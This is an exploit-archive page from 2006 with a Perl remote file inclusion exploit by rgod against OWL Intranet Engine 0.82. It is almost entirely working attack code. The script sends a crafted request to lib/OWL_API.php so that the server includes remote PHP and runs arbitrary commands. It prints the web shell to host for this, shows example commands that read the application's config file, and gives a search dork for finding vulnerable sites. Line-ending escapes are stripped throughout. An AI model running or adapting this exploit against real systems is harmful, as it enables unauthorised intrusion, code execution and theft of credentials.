[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : OWL Intranet Engine 0.82 (xrms_file_root) Code Execution Exploit
# Published : 2006-03-07
# Author : rgod
# Previous Title : RedBLoG <= 0.5 (cat_id) Remote SQL Injection Exploit
# Next Title : CilemNews System <= 1.1 (yazdir.asp haber_id) SQL Injection Exploit
#!/usr/bin/perl
use IO::Socket;
print "WwwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWwoLWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWw**wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWo°*òWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWwo° *òwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWò° °°*òwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWwo° °°*oòwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWwò*° °*òwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWwò*° °òWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWWwwwLLwwwWWwo° oWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWL*° °*o° °wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWW* °*òwwwwwwò* WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWo °Lwwwwwwwwwwwwò °WWWWWWwwwwwWWWWWWwwwwwwwwwwwwwWWWWWWWWWWrn";
print "WWWWWWWWWWWò *wwwwwwwwwwwwwwww° wWWWW* *WWWWw oWWWWWWWWWrn";
print "WWWWWWWWWWW° °wwwwwò° °*wwwwww °WWWw wWWW° w oWWWWWWWWWrn";
print "WWWWWWWWWWW owwww* °* owwww° wWW* °WWw oW oWWWWWWWWWrn";
print "WWWWWWWWWWW °wwww * °wwww *Ww o wW* *WW oWWWWWWWWWrn";
print "WWWWWWWWWWWo owww° owww° o w* °W° °w wWW oWWWWWWWWWrn";
print "WWWWWWWWWWWW* *wwwo° °òwww° oWo ° wWL ° òWWW *wwwwwwwwwrn";
print "WWWWWWWWWWWWWL° °òwwwwwwwwo° *wWWW° *WWW° °WWWWrn";
print "WWWWWWWWWWWWWWWwo° °°° °*LWWWWWWW wWWWL °WWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWwwwwLLLwwwwWWWWWWWWWWWWo *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW° wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWo wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW° *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrn";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw°WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWrnrn";
print " OWL Intranet Engine 0.82 "xrms_file_root" cmmnds xctn xploitrn";
print " -> works with register_globals = On & allow_url_fopen = On rn";
print " by rgod rgod<AT>autistici<DOT>org rn";
print " site: http://retrogod.altervista.org rnrn";
print "Sun-Tzu: "But a kingdom that has once been destroyed can never comern";
print "again into being; nor can the dead ever be brought back to life"rnrn";
print "rn dork: intitle:"owl intranet * owl" 0.82rn";
sub main::urlEncode {
my ($string) = @_;
$string =~ s/(W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
if (@ARGV < 4)
{
print "rnUsage:rn";
print "perl owl_082_xpl.pl SERVER PATH LOCATION COMMANDrnrn";
print "SERVER - Server where OWL is installed.rn";
print "PATH - Path to OWL (ex: /owl/ or just /) rn";
print "LOCATION - a site with the code to include (without ending slash)rn";
print "COMMAND - a Unix commandrnrn";
print "Example:rn";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 ls -larn";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 cat ./../config/owl.phprnrn";
print "note: on http location you need this code in /include-locations.inc/index.html :rnrn";
print "<?phprn";
print "if (get_magic_quotes_gpc())rn";
print "{$_GET["cmd"]=stripslashes($_GET["cmd"]);}rn";
print "ini_set("max_execution_time",0);rn";
print "passthru($_GET["cmd"]);rn";
print "die;rn";
print "?>rn";
exit();
}
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.nn";
print $sock "GET ".$path."lib/OWL_API.php?cmd=".$cmd."&xrms_file_root=".$loc." HTTP/1.1rn";
print $sock "User-Agent: Y!TunnelProrn";
print $sock "Host: ".$serv."rn";
print $sock "Connection: closernrn";
while ($answer = <$sock>) {
print $answer;
}
close($sock);
# www.Syue.com [2006-03-07]